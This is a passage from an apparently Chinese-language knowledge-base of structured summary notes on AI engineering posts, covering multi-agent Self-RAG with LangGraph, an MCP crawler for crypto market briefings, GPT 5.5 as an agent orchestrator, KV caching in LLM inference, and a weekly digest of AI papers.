_這篇文章指出了單次檢索 (Single-turn RAG) 在面對真實世界複雜問題時的無力。以「德里飛慕尼黑被拒絕登機可獲多少賠償？」為例，RAG 可能只會檢索到「賠償金額依距離而定」的政策文件，但無法給出精確數字。解法是導入「Multi-Agent Self-RAG」框架 (基於 LangGraph)。Agent 會先對檢索到的文件進行「評分 (Grade)」，然後像人類一樣提出「假設 (Hypothesis)」(我需要先知道兩地距離)，接著大腦風暴出新的查詢問題 (New Queries)，再次進入向量庫檢索距離數據，最終結合兩份文件給出精確答案。這是一個讓 AI 學會「思考後再問一次」的強大架構。_
### 一句話
> 傳統的 RAG 系統是「找資料 -> 回答」，但人類找資料是「找資料 -> 發現線索 -> 提出新問題 -> 再找一次資料 -> 統整回答」。透過 LangGraph 實作的多智能體 Self-RAG，我們讓 AI 學會這套邏輯：先檢索，評估文件是否有用，如果資料不夠，AI 會自己提出假說（例如：我需要先查出兩地距離才能算賠償金），然後發動第二次檢索，直到收集齊全所有拼圖，才產出最終答案，徹底解決 RAG 容易給出空泛答案的致命傷。
### 餐巾紙草圖
```text
[ Multi-Agent Self-RAG Loop ]
(1) User Query: "Delhi to Munich denied boarding compensation?"
│
v
(2) Retrieve: General EU policy (distance based)
│
v
(3) Grade Docs: Keep EU policy, drop US policy.
│
v
(4) Generate Hypothesis: "I need the exact distance."
│
v
(5) Transform Query: "Distance between Delhi and Munich?"
│
v
(6) Retrieve (Again): Distance is 5,931 km.
│
v
(7) Generate Answer: Distance > 3500km, so compensation is 600 EUR.
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **痛點**: 真實世界的問題需要多步檢索與推理。單純 RAG 無法處理需要跨文件關聯、或依賴中介資訊（如：先查距離才能算賠款）的複雜查詢。
- **解決方案 (Self-RAG with LangGraph)**:
- **1st Iteration (Simple RAG)**: 最基礎的 `Retrieve -> Generate`。
- **2nd Iteration (Grade Documents)**: 代理人針對取回的文件評分，保留有用的 (`useful_documents`)，並基於這些文件產生下一步的 `hypothesis` (假設)。
- **3rd Iteration (Transform Query)**: 代理人判斷目前資訊不足以作答，於是基於假設大腦風暴出新問題清單 (`new_queries`)。
- **Final Iteration**: 使用新問題再次進行 `Retrieve`，獲取補足的資訊後，最終交給 `Generate answer` 節點。
- **實作細節**:
- 使用 Python 建立 `TypedDict` 定義圖譜的狀態 (`GraphState`)。
- 利用 `LangGraph` 的 `StateGraph` 定義節點 (Nodes) 與條件邊界 (Conditional Edges)。
- 核心精神在於將原本的 RAG 打斷為狀態機，讓模型在產生幻覺或資訊不足時，能自主繞回 `transform_query` 重新檢索。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **RAG 的能力天花板在於「單次命中率」**: Vector Search 的本質是文本相似度，但複雜問題的答案往往不是單一文本，而是邏輯推導。如果系統缺乏「意識到自己不知道，並主動尋找缺少的一角」的能力，RAG 就永遠只是個笨拙的維基百科搜尋器。
2. **狀態機架構確保控制流**: 使用 LangGraph 而非單純的 Prompt Chaining，好處在於能夠保留歷史狀態（`useful_documents` 採取 `append` 而非覆寫）。這樣 Agent 在進行多輪對話與檢索時，不會出現「查了 B 忘了 A」的失憶症。
### 關鍵證據
- 在作者展示的實際 Log 中，系統清楚印出了它的「假設」："To answer this question accurately, I need to determine: 1. Is this flight operated by an EU airline? ... 2. What is the flight distance..."。隨後它主動產生了新查詢 "What is the flight distance between Delhi and Munich?"。這種中介推理軌跡 (Trace) 直接證明了 Agent 具備了規劃 (Planning) 的能力。
### 邊界條件
- **成本與延遲代價**: Self-RAG 的致命傷是「慢」與「燒錢」。原本只需要呼叫 1 次 LLM 和 1 次 DB，現在可能要呼叫 4-5 次 LLM 來評分、改寫、重構，以及多次 DB 檢索。這套架構不適合用在對延遲要求極高 (如秒級客服回應) 的場景。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 呼應了《ADLC 開發方式》一文中提到的「機率論與非線性路徑」。Self-RAG 正是這種非線性行為的體現——即使輸入相同，Agent 也可能因為某次檢索結果不同，而走上不同的 Query 改寫路線。這也就是為什麼 ADLC 呼籲我們必須用語義評測（LLM-as-a-Judge）來測試 RAG 的 Groundedness（真實性）。
- **深層洞見**: **"The hypothesis is especially useful when no useful documents can be identified initially, as the agent can still form hypothesis from documents not immediately deemed as useful." (當一開始找不到有用文件時，假設特別有用，因為代理人仍能從看似無用的文件中形成假設，以決定下一步該問什麼。) ** 這打破了我們對檢索系統的思維：有時候檢索回來的「錯誤資料」並非毫無價值，它能成為指引系統「換個方向問」的探路石。
- **行動呼籲**:
如果你手邊有正在開發的 RAG 專案，請做一個壓力測試：問它一個需要「兩層邏輯關聯」的問題（例如：公司最新規定中，住在距離總部最遠的董事可以報帳多少交通費？）。如果它失敗了，請不要急著去調整 Embedding Model，試著引入一個簡單的 `LLM Evaluator` 節點，讓它學會判斷「資訊不足時，把問題拆解後再搜一次」。
AI技術
打造自動化情報系統：用 XCrawl MCP 為 Agent 裝上即時數據之眼
"如果你的 AI Agent 是一個將軍，那它需要即時情報，否則再聰明也只會打昨天的仗。不要再手動複製貼上網頁資料給 AI 了，透過 MCP (Model Context Protocol) 接入 XCrawl 這樣的爬蟲工具，你可以讓 Agent 直接在對話框裡自己去抓取四大幣圈網站的即時數據，交叉比對後直接給你決策建議。Agent 的能力上限，完全取決於你餵給它數據的速度與質量。"
---
tags: [AI技術, 系統工程]
date: 2026-03-25
source: "20260512_2026-05-12T092848+0800-AI 自动交易系统，3分钟方案：用XCrawl给Agent装上自动化眼睛，打造「自动化情报系统」.md"
---
# 打造自動化情報系統：用 XCrawl MCP 為 Agent 裝上即時數據之眼
原始來源與檔名：20260512_2026-05-12T092848+0800-AI 自动交易系统，3分钟方案：用XCrawl给Agent装上自动化眼睛，打造「自动化情报系统」.md
來源：[[@nopinduoduo]] / X — 2026-03-25
原始檔名：`2026-05-12T092848+0800-AI 自动交易系统，3分钟方案：用XCrawl给Agent装上自动化眼睛，打造「自动化情报系统」.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Agent IQ = LLM Reasoning + Real-time Data Quality.
> Smart Agent + Stale Data = Confident Hallucinations.
> Solution: XCrawl MCP Server -> 4 CLI Prompts -> 3 Mins -> Comprehensive Pre-market Crypto Briefing.
_作者訓練了一個熟讀 42 萬字投資大師策略的 AI Agent，卻發現它面臨一個致命缺陷：它的知識停留在昨天，無法應對瞬息萬變的 Crypto 市場。手動餵資料太慢，而傳統爬蟲成本過高。解法是引入 XCrawl 的 MCP Server。只需 3 分鐘、4 句對話，Agent 就能自動去 CoinGecko 抓報價、CoinGlass 抓合約情緒、Polymarket 抓預測盤口、CoinDesk 抓新聞，並交叉比對產生一份專業的「開盤前簡報」。_
### 一句話
> 如果你的 AI Agent 是一個將軍，那它需要即時情報，否則再聰明也只會打昨天的仗。不要再手動複製貼上網頁資料給 AI 了，透過 MCP (Model Context Protocol) 接入 XCrawl 這樣的爬蟲工具，你可以讓 Agent 直接在對話框裡自己去抓取四大幣圈網站的即時數據，交叉比對後直接給你決策建議。Agent 的能力上限，完全取決於你餵給它數據的速度與質量。
### 餐巾紙草圖
```text
[ Automated Intelligence System ]
[ Agent (The Brain) ] <--- MCP Connection ---> [ XCrawl (The Eyes) ]
|
(1) CoinGecko: Prices, Vol (8s) <-----------------+
(2) CoinGlass: OI, Long/Short (12s) <--------------+
(3) Polymarket: Probabilities (10s) <--------------+
(4) CoinDesk: News text (20s) <--------------------+
Output: "Pre-market Briefing" (Cross-validated signals in 3 mins)
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **核心痛點**: Agent 具備優秀的邏輯框架，但缺乏即時數據。手動收集資料（行情、清算、預測、新聞）耗時 40 分鐘，且極易過時。
- **現有解法的缺陷**: 其他自動交易 Agent 要嘛在 LLM 和 API 調用上燒掉太多成本，要嘛數據層架構過於複雜。
- **3 分鐘解決方案 (XCrawl MCP)**:
- 透過 `claude mcp add` 接入 XCrawl 服務。
- 用 4 句 Prompt 讓 Agent 自行調用爬蟲：抓取 CoinGecko (價格)、CoinGlass (合約情緒)、Polymarket (市場預測)、CoinDesk (新聞內容)。
- 將 40 分鐘的手動工作壓縮至 3 分鐘。
- **價值展現**: Agent 將 4 個來源的數據交叉比對（例如：價格大漲但合約未平倉量沒跟上，判斷為假突破），自動生成包含優先級分類的「開盤前簡報」。
- **邊界與延伸**: 不適用於高頻秒級交易，但對日内/中低頻決策極佳。同樣的架構可延伸至競品監控、學術論文追蹤、輿情監測。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **Agent 的能力上限 = 數據輸入的質量**: 在金融市場，決策邏輯是次要的，資訊差才是首要的。讓 Agent 擁有自動化的「眼睛 (MCP 工具)」，遠比微調它的大腦 (LLM) 更能提升實戰績效。
2. **多源交叉驗證 (Cross-validation)**: 單一數據源充滿噪音。當 Agent 能同時看到「合約市場保守」與「預測市場樂觀」的矛盾信號時，它就不會盲目追高。這種綜合判斷能力正是人類交易員的價值所在，現在被 MCP 輕鬆自動化了。
### 關鍵證據
- 作者列出了實測的 API 返回結果，並展示了 Agent 的分析："ELIZAOS 5分鐘 +30.3%，但OI未同步放大 → 純價格驅動，非合約推動。查新聞確認。" 這證明了結構化的數據輸入 (JSON/Markdown) 讓 LLM 能夠直接進行深入的因果推理。
### 邊界條件
- **工具依賴性**: 依賴 XCrawl 這種第三方 MCP 服務意味著你將數據獲取的穩定性交給了外部供應商。如果目標網站改版或加強反爬機制，這套系統可能瞬間癱瘓。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 完美呼應了《ADLC 開發方式》中提到的「Semantic Tooling (語義工具化)」。MCP 的本質就是將外部能力標準化為 Agent 能懂的語義工具。當工具齊備時，Agent 就能自行規劃抓取與分析的路徑。
- **深層洞見**: **"如果Agent是大腦，數據就是眼睛。眼睛不好，腦子再聰明也白搭。"** 我們在開發 AI 應用時，往往花了 90% 的時間在調教 Prompt，卻只花 10% 的時間在考慮如何給它餵送高質量的 Context。這種資源錯置是多數 Agent 落地失敗的主因。
- **行動呼籲**:
如果你每天上班的第一件事是打開 5 個不同的網站收集「每日動態」，請立即停止這種人肉爬蟲行為。用 Claude Code 接上一個 MCP 爬蟲工具，寫一段包含 5 個抓取步驟的指令，讓 Agent 每天早上為你準備好一份分析簡報。省下的 40 分鐘，才是 AI 帶給你的真正複利。
AI模型
GPT 5.5：天生為編排 (Orchestration) 而生的超級大腦 (GPT 5.5 was made to Orchestrate)
"這是一篇關於 GPT 5.5 實際應用體驗的測評。作者指出，GPT 5.5 的最大亮點在於其無與倫比的「推理與工作流遵循能力」，使它成為 Agent 編排（Orchestration）的完美大腦。相較於將它當作普通的寫碼工具，更具價值的用法是讓它充當「使用者」與「子代理矩陣」之間的橋樑——負責監控並行任務、處理權限提示、並精準指派任務（如將前端任務分配給最擅長 UX 的 Opus 模型）。這種「負載均衡」的策略，能有效對抗 GPT 5.5 高昂的 Token 成本。"
---
tags: [AI模型, Agent架構, 產品測試]
date: 2026-04-24
source: "20260512_2026-04-28T092724+0800-GPT 5.5 was made to Orchestrate.md"
---
# GPT 5.5：天生為編排 (Orchestration) 而生的超級大腦 (GPT 5.5 was made to Orchestrate)
原始來源與檔名：20260512_2026-04-28T092724+0800-GPT 5.5 was made to Orchestrate.md
來源：[[@pvncher]] / X (Twitter) — 2026-04-24
原始檔名：`2026-04-28T092724+0800-GPT 5.5 was made to Orchestrate.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Agent Orchestration = Context Builder (Curates data) + Oracle/Router (Plans & Delegates) + Sub-agents (Execute).
> GPT 5.5 = High Cost + Extreme Reasoning + Perfect adherence to workflows.
> Best Practice: Use GPT 5.5 as the Oracle/Router, delegate cheap/UI work to Claude Opus, and use it as the bridge between User and Sub-agents.
_作者在測試 GPT 5.5 兩週後發現，它解決了之前模型在多步工作流中容易「脫軌」的問題。GPT 5.5 能夠完美理解使用者的意圖，極其穩定地遵守工作流規範，非常適合擔任多 Agent 系統中的「總編排者 (Orchestrator)」。在 Repo Prompt 產品中，最佳實踐是讓 GPT 5.5 擔任 Oracle（神諭/決策者），負責拆解任務、管理上下文、並將適合的任務派發給專門的子代理（例如將 UX 任務派給 Claude Opus）。雖然 GPT 5.5 Token 極貴，但在編排架構下精準路由，反而能以最小成本獲得專業級成果。_
### 一句話
> 這是一篇關於 GPT 5.5 實際應用體驗的測評。作者指出，GPT 5.5 的最大亮點在於其無與倫比的「推理與工作流遵循能力」，使它成為 Agent 編排（Orchestration）的完美大腦。相較於將它當作普通的寫碼工具，更具價值的用法是讓它充當「使用者」與「子代理矩陣」之間的橋樑——負責監控並行任務、處理權限提示、並精準指派任務（如將前端任務分配給最擅長 UX 的 Opus 模型）。這種「負載均衡」的策略，能有效對抗 GPT 5.5 高昂的 Token 成本。
### 餐巾紙草圖
```text
[ Multi-Agent Orchestration Architecture ]
User Request
|
v
[ GPT 5.5 (The Oracle / Orchestrator) ] <--- Context Builder (Curates Repo Data)
|-- Analyzes intent
|-- Breaks down plan
|-- Delegates based on strength
|
|------> [ Claude Opus 4.6 ] (Task: UX / Frontend changes)
|------> [ GPT 4o / Sonnet ] (Task: Routine Data processing)
|------> [ Sub-Agent ] (Task: File system operations)
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **模型對比**: Opus 4.7 在遵循工作流上出現了退步，而從 GPT 5.4 跨越到 5.5，模型對意圖的理解和多步任務的穩定性有了質的飛躍。
- **核心定位 (Orchestration)**: GPT 5.5 最適合的角色是「編排者」。在 Repo Prompt 中，GPT 5.5 作為橋樑，負責監控平行運作的子代理、處理權限、阻止 Agent 偏離軌道。
- **能力專長派發**: GPT 5.5 擅長拆解任務並知道哪個子代理最適合什麼工作（例如它知道 UX 設計工作交給 Opus 表現最好）。
- **架構設計 (Context Builder + Oracle)**:
- 任務分離：由專門的 Context Builder Agent 負責篩選、提煉上下文；再交由 GPT 5.5 (Oracle) 進行深度推理。精心設計的上下文結構能榨出 GPT 5.5 最大的價值。
- **成本與策略**: GPT 5.5 的 Token 非常昂貴。未來的常態將是「負載均衡 (Load balancing)」——讓 GPT 5.5 負責大腦決策，將執行工作路由給更便宜或特定領域更強的模型，以避免浪費。
- **小費 (Tip)**: 使用 API (Codex) 時，將 GPT 5.5 的性格設定為 "friendly"，能消除它過去的機器人死板感，且不影響代碼品質。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **Context Window 是推理的瓶頸也是引擎**: 為什麼不能直接拿 GPT 5.5 去寫代碼？因為上下文噪音會干擾它的發揮。只有把「收集資訊」和「深度推理」拆開，讓 5.5 專注於高純度的決策（Oracle 模式），才能在控制成本的同時達到專家級效果。
2. **Router 模式的經濟學必然性**: 當模型能力增強的同時，頂級模型的推論成本也在急遽攀升。沒有人負擔得起讓 GPT 5.5 去跑十萬行的 `grep` 掃描。因此，建立一個透明的路由機制，讓 5.5 當經理、小模型當打工人，是商業落地的唯一解法。
### 關鍵證據
- 作者在 Repo Prompt 中實際建置了 Orchestration workflow，並分享了架構圖。透過這套架構，成功讓 GPT 5.5 在後台管理不同 Harness（框架）下的子代理。
### 邊界條件
- 這種多模型編排 (Multi-model orchestration) 的架構需要極強的基礎設施支援。開發者必須自行處理各家 API 的格式轉換、延遲問題、以及任務失敗時的狀態回滾。對於簡單腳本來說，直接呼叫單一模型可能還是更划算。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 這篇文章完美呼應了前一篇《为 Agent 设计产品》提到的「Agent 矩陣」概念，以及《Keep your Claude Code context clean with Subagents》中倡導的任務隔離。GPT 5.5 就是那個理想的「主代理 (Main Agent)」。
- **深層洞見**: **"When you separate the work of isolating context and letting a model deep reason on that curated context, you get substantially better results."** 讓搬磚的去搬磚，讓思考的去思考。未來的 AI 產品不再是比拚單一模型的智商，而是比拚「人才管理」——如何用最優的成本結構，把對的任務交給對的模型。
- **行動呼籲**:
1. 如果你在打造 Agent 應用，立即停止用同一個頂級模型 (GPT 5.5 / Opus) 包攬所有工作（包含讀取檔案、寫入、推理）。
2. 嘗試引入 "Router" 模式：先用輕量模型 (如 Haiku/GPT-4o-mini) 做資訊過濾，總結成摘要後，再傳遞給 GPT 5.5 進行架構決策。
AI模型
深入淺出 LLM 的 KV Caching 機制 (KV Caching in LLMs, Clearly Explained)
"這篇技術解析以第一性原理清晰地解釋了大型語言模型（LLM）推理加速的核心技術——KV Caching。作者指出，在自迴歸生成中，重新計算歷史 Token 的 K 與 V 向量會產生嚴重的 O(n²) 運算浪費。透過快取機制，模型每步只需計算最新 Token，大幅提升速度，但也揭露了此技術的代價：KV Cache 會吞噬龐大的 GPU 記憶體，這正是為何擴展上下文視窗（Context Window）會如此昂貴的底層原因。"
---
tags: [AI模型, LLM原理, KV-Cache, 技術解析, 模型推理]
date: 2026-03-11
source: "20260512_2026-05-12T092957+0800-KV Caching in LLMs, Clearly Explained.md"
---
# 深入淺出 LLM 的 KV Caching 機制 (KV Caching in LLMs, Clearly Explained)
原始來源與檔名：20260512_2026-05-12T092957+0800-KV Caching in LLMs, Clearly Explained.md
來源：[[@_avichawla]] / X (Twitter) — 2026-03-11
原始檔名：`2026-05-12T092957+0800-KV Caching in LLMs, Clearly Explained.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> LLM Inference Cost = O(n²) without cache
> KV Caching = Store Key (K) & Value (V) of past tokens -> Compute only Q, K, V for the newest token
> KV Cache Trade-off = 5x Speedup in Computation vs. Massive GPU Memory Consumption
_為什麼 ChatGPT 吐出第一個字要等很久，後面的字卻像倒水一樣快？答案是 KV Caching。在自迴歸生成中，之前算過的字其特徵（Key 和 Value 向量）是不會變的。系統會把這些特徵快取在記憶體中。生成新字時，只需拿新字的 Query 去跟快取庫對比即可。這是一種典型的「以空間換取時間」的極致工程妥協。_
### 一句話
> 這篇技術解析以第一性原理清晰地解釋了大型語言模型（LLM）推理加速的核心技術——KV Caching。作者指出，在自迴歸生成中，重新計算歷史 Token 的 K 與 V 向量會產生嚴重的 O(n²) 運算浪費。透過快取機制，模型每步只需計算最新 Token，大幅提升速度，但也揭露了此技術的代價：KV Cache 會吞噬龐大的 GPU 記憶體，這正是為何擴展上下文視窗（Context Window）會如此昂貴的底層原因。
### 餐巾紙草圖
```text
[Without KV Cache: Recompute Everything]
Step 50: Compute K,V for T1 to T50
Step 51: Compute K,V for T1 to T51 (T1-T50 redundantly recomputed)
[With KV Cache: Incremental Update]
Memory Cache: [K1, V1], [K2, V2] ... [K50, V50]
Step 51:
1. Compute Q51, K51, V51
2. Append [K51, V51] to Memory Cache
3. Attention = Q51 × (Cache K1-K51) -> Weight applied to (Cache V1-V51)
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **現象**: 使用 LLM 時，首字延遲（TTFT, Time-to-First-Token）很高，但後續生成極快。
- **Part 1 (Token 生成)**: LLM 是自迴歸的，每次生成只依賴最後一個 Token 的隱藏狀態（Hidden state）來預測下一個字，歷史狀態只是副產品。
- **Part 2 (Attention 運算)**: 要算出最後一個 Token 的狀態，Attention 機制需要用最後一個 Token 的 Query (Q)，去跟序列中所有 Token 的 Key (K) 內積，再加權所有 Token 的 Value (V)。
- **Part 3 (冗餘計算)**: 歷史 Token 的 K 和 V 向量一旦算出就不會改變。如果每生成一個新字就把全文明文重新算一遍 K 和 V，會造成 O(n²) 的算力浪費。
- **Part 4 (解法: KV Caching)**: 將歷史 Token 的 K 和 V 存起來。每次只需計算新 Token 的 Q, K, V，並將新的 K, V 塞入快取中，大幅減少矩陣乘法運算。
- **Part 5 (TTFT 的真相)**: 首字為何慢？因為一開始沒有快取，模型必須在一次前向傳播（Forward pass, 即 Prefill 階段）中把整段 Prompt 的所有 K 和 V 算出來並存好。這極耗算力。
- **Part 6 (代價與權衡)**: 快取是用 GPU 記憶體換來的。長文本或高併發時，KV Cache 佔用的記憶體甚至會超過模型權重本身。這催生了 GQA (Grouped-query attention) 與 Paged Attention 等優化技術。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **矩陣乘法的數學結構**: 作者切入 Transformer 的底層公式 `Attention(Q, K, V) = softmax(QK^T)V`。指出當我們只關心最後一個輸出字時，矩陣 `Q` 其實退化成了一個向量（只包含最後一個字的 Q），但 `K` 和 `V` 依然是整個歷史序列的矩陣。這明確點出了哪裡存在重複運算。
2. **計算力與記憶體的物理限制**: 提到了 Qwen 2.5 72B 模型的具體參數（80層, 32K上下文, 維度8192），說明即使是單一使用者的 KV Cache，也會消耗數 GB 的顯存。這打破了外界認為「硬體只限制模型參數大小」的迷思，證實了「併發能力與上下文長度」才是記憶體真正的吞噬者。
3. **優化演進的必然性**: 因為 KV Caching 的記憶體瓶頸，才合理化了業界為何要發明 GQA (共享 K/V 頭) 以及 vLLM 的 Paged Attention (解決快取記憶體碎片化)。知識點在此形成了閉環。
### 關鍵證據
- 直接點出 TTFT (首字延遲) 與 Prefill (預填充) 階段的關係。這完全符合所有 LLM 推理框架（如 vLLM, TGI）的實際監控指標表現。
### 邊界條件
- KV Caching 僅對**因果語言模型 (Causal LMs)** 的自迴歸生成（如 GPT 系列）有效。對於雙向編碼器（如 BERT）進行的一次性文本理解任務，KV Caching 概念並不適用。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 呼應了我們先前在探討「Agent 架構與 Context Window」時的瓶頸。為何 Greg Isenberg 和 Garry Tan 都強調要讓 Agent 的上下文（Memory/Soul.md）保持精簡？因為從底層物理來看，每多塞一行冗餘的 Prompt，就在加重 Prefill 階段的 TTFT 延遲，並成倍增加 GPU 記憶體負擔（即 Inference 成本）。
- **深層洞見**: **「Every layer stores K and V vectors for every token... At hundreds of concurrent requests, it often exceeds the model weights themselves. (在數百個併發請求下，快取大小通常會超過模型權重本身。)」** 這揭示了 AI 基礎設施的核心商業機密：推理公司（如 Groq 或 OpenAI）比拼的早就不是算力（FLOPS），而是記憶體頻寬與記憶體管理效率。
- **行動呼籲**:
1. 對於開發者：在設計 Prompt 時，將固定不變的指令（System Prompt）放在最前面，這能有效利用許多推論引擎的「Prompt Caching」技術。
2. 意識到「超長上下文（如 200K）」在運作時極端消耗資源。不要盲目把大文件塞入對話框，這不僅導致幻覺，也在無端浪費算力與金錢成本。能用小 Context 解決的問題，絕不用大 Context。
AI研究
本週頂尖 AI 論文解讀：從協作架構到推理突破 (Top AI Papers of the Week: May 4-10, 2026)
"這份由 DAIR.AI 策劃的週報整理了 2026 年 5 月初最具影響力的 10 篇 AI 論文。核心焦點集中在 Agent 架構的演進：包括將編排邏輯內化為模型技能 (HeavySkill)、透過強化學習讓模型自主決定多 Agent 協作拓撲 (Conductor)、在預訓練階段直接植入安全與事實性獎勵 (Self-Improving Pretraining)、以及指出當前 Vector RAG 記憶體的致命缺陷並呼籲引入神經科學的記憶鞏固機制。"
---
tags: [AI研究, 模型推理, Agent架構, 前沿技術]
date: 2026-05-10
source: "20260512_2026-05-12T093047+0800-Top AI Papers of the Week.md"
---
# 本週頂尖 AI 論文解讀：從協作架構到推理突破 (Top AI Papers of the Week: May 4-10, 2026)
原始來源與檔名：20260512_2026-05-12T093047+0800-Top AI Papers of the Week.md
來源：[[@dair_ai]] / X (Twitter) — 2026-05-10
原始檔名：`2026-05-12T093047+0800-Top AI Papers of the Week.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Future Agent = Internalized Skill (HeavySkill) + Learned Coordination (Conductor) + Synthetic Experiential Data
> Memory ≠ Memo (Lookup). Memory = Fast Storage + Slow Consolidation (Abstraction).
_AI 論文正從「如何訓練更大的模型」轉向「如何讓模型在推論階段（Test-time）更聰明地工作」。本週的頂尖研究揭示了幾個關鍵趨勢：第一，將外部的 Agent 編排邏輯（如並行推理與反思）內化為模型本身的技能；第二，讓模型自己學習如何分配任務（Conductor）；第三，長序列任務失敗不是模型笨，而是「視野 (Horizon)」太長導致信用分配崩潰。_
### 一句話
> 這份由 DAIR.AI 策劃的週報整理了 2026 年 5 月初最具影響力的 10 篇 AI 論文。核心焦點集中在 Agent 架構的演進：包括將編排邏輯內化為模型技能 (HeavySkill)、透過強化學習讓模型自主決定多 Agent 協作拓撲 (Conductor)、在預訓練階段直接植入安全與事實性獎勵 (Self-Improving Pretraining)、以及指出當前 Vector RAG 記憶體的致命缺陷並呼籲引入神經科學的記憶鞏固機制。
### 餐巾紙草圖
```text
[The Shifting Paradigm in AI Research]
Past (2023-2024):
Model Pretraining -> Post-training Safety -> External Orchestration Code (LangChain)
Present (2026 Papers):
1. Pretraining -> Incorporates safety/factuality directly as Sequence Generation Rewards.
2. The Model IS the Orchestrator -> Conductor learns who to talk to via RL.
3. The "Glue" becomes the "Skill" -> HeavySkill bakes deliberation into the weights.
4. Data generation -> 1,000 Synthetic Computers simulating months of human work.
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **HeavySkill**: 將 Agent 的編排邏輯（並行推理 + 審議）簡化為兩階段 Pipeline，並透過 RLVR 訓練內化到模型中，使 20B 模型在編程測試提升 15.8%。
- **Conductor (Sakana AI)**: 7B 模型透過強化學習自主決定多 Agent 協作的「通訊拓撲」與「針對性 Prompt」，將協調本身變成可學習的策略，超越單一強大模型。
- **Self-Improving Pretraining (Meta FAIR)**: 把安全與事實性的修正移到「預訓練」階段，而非後訓練（Post-training）。讓模型從一開始就學習受獎勵的序列生成。
- **Connect Four AlphaZero**: 新的評估基準：要求 Claude Opus 等模型從零建構端到端的 ML 系統，而不只是修復程式碼片段。Opus 成功通關，拉開與其他模型的差距。
- **Coordination as Architecture**: 指出多 Agent 系統 41%-87% 的失敗來自「協調缺陷」，呼籲將協調結構與資訊存取剝離，進行嚴格的變數控制測試。
- **Horizon Generalization (微軟研究)**: 任務距離越長越容易失敗。解法是引入「巨集動作 (Macro actions)」壓縮序列長度，訓練短視野，部署長視野。
- **1,000 Synthetic Computers**: 構建 1000 台包含逼真檔案系統的合成電腦，讓 Agent 在其中模擬幾個月的人類工作，以產生長視野的訓練資料。
- **Contextual Agentic Memory**: 批判當前的 Vector RAG 只是「備忘錄 (Memo)」。缺乏神經科學中的「慢速鞏固 (Slow Consolidation)」抽象機制，導致系統無法泛化且易受記憶投毒。
- **Agentic-imodels & Verifiable Skills**: 讓 Agent 產出可被其他小模型解讀的透明回歸模型；呼籲將 Agent Skill 視為必須經過「驗證閘門」的代碼，而非預設信任。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **Orchestrator 必須從「封裝器 (Wrapper)」變成「神經網路策略 (Policy)」**: `HeavySkill` 和 `Conductor` 兩篇論文共同指向一個結論：人類手寫的流程圖（如 LangChain 的各種 Graph）是有極限的。真正的突破在於，讓模型在訓練階段就學會「並行思考、交叉比對、自我糾錯」或是「自己決定要把任務分包給哪個子 Agent」。這將徹底重塑 Agent 框架的底層邏輯。
2. **長視野 (Long-Horizon) 是當前最大的瓶頸**: `Horizon Generalization` 和 `1,000 Synthetic Computers` 指出，AI 無法完成長任務（如寫一個完整的軟體專案），不是因為推理能力不夠，而是因為「步驟太多導致獎勵訊號衰減 (Credit assignment Ambiguous)」。透過「打包動作」或「合成環境模擬」，AI 才能學會長線佈局。
3. **當代 RAG 架構的根本缺陷**: `Contextual Agentic Memory` 提出的 "Memory ≠ Memo" 非常致命。現在的 RAG 只是做字面或語義的相似度比對（Hippocampal storage），完全缺乏人類大腦中將具體事件提煉為抽象法則的「大腦皮層鞏固過程 (Neocortical consolidation)」。這是導致 AI 知識無法融會貫通的物理限制。
### 關鍵證據
- `Self-Improving Pretraining` 論文展示了在預訓練階段引入獎勵機制，使事實性提升 36.2%，安全性提升 18.5%。這數據證明了「後天教育（RLHF）」不如「胎教（Pretraining Reward）」有效。
- 只有 Claude Opus 能在 `Connect Four AlphaZero` 測試中取得 7/8 的勝率，其他模型不到 2/8。這證明在極端複雜的端到端工程任務中，前沿模型的差距依然巨大。
### 邊界條件
- 這些研究多數仍處於實驗室或微調階段。對於一般開發者而言，短期內依然只能依賴 OpenClaw/Hermes 這類外部的 Harness 框架來調度。但這些論文預示了未來 12-18 個月內，基礎模型升級後將吞噬掉許多目前的工程框架層。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 完美對應了我們先前對「Agentic Frameworks」的探討。Garry Tan 的 `OpenClaw` 和 Jeff 的 `Hermes` 目前都在做外圍的 Orchestration。但 `Conductor` 論文告訴我們，未來的 AI 會自己寫 `OpenClaw` 的路由邏輯。
- **深層洞見**: **"Harness wins start to look like model wins once you can train them in." (當你能把編排框架的優勢訓練進模型時，框架的勝利就變成了模型的勝利。)** 軟體工程的歷史總是如此：今天的軟體中介層（Middleware），明天就會被硬體或底層架構直接吸收。
- **行動呼籲**:
1. 停止迷信複雜的 LangChain 或 AutoGen 多 Agent 流程圖。
2. 關注並應用「巨集動作 (Macro actions)」的概念：在讓 AI 執行長任務前，先讓它將任務打包成幾個大模塊，這能有效降低 AI 在執行中途迷失方向的機率。
AI視野
AGI 前夜的四道工程基線：當算力跨越閾值 (The Engineering Baselines Before AGI)
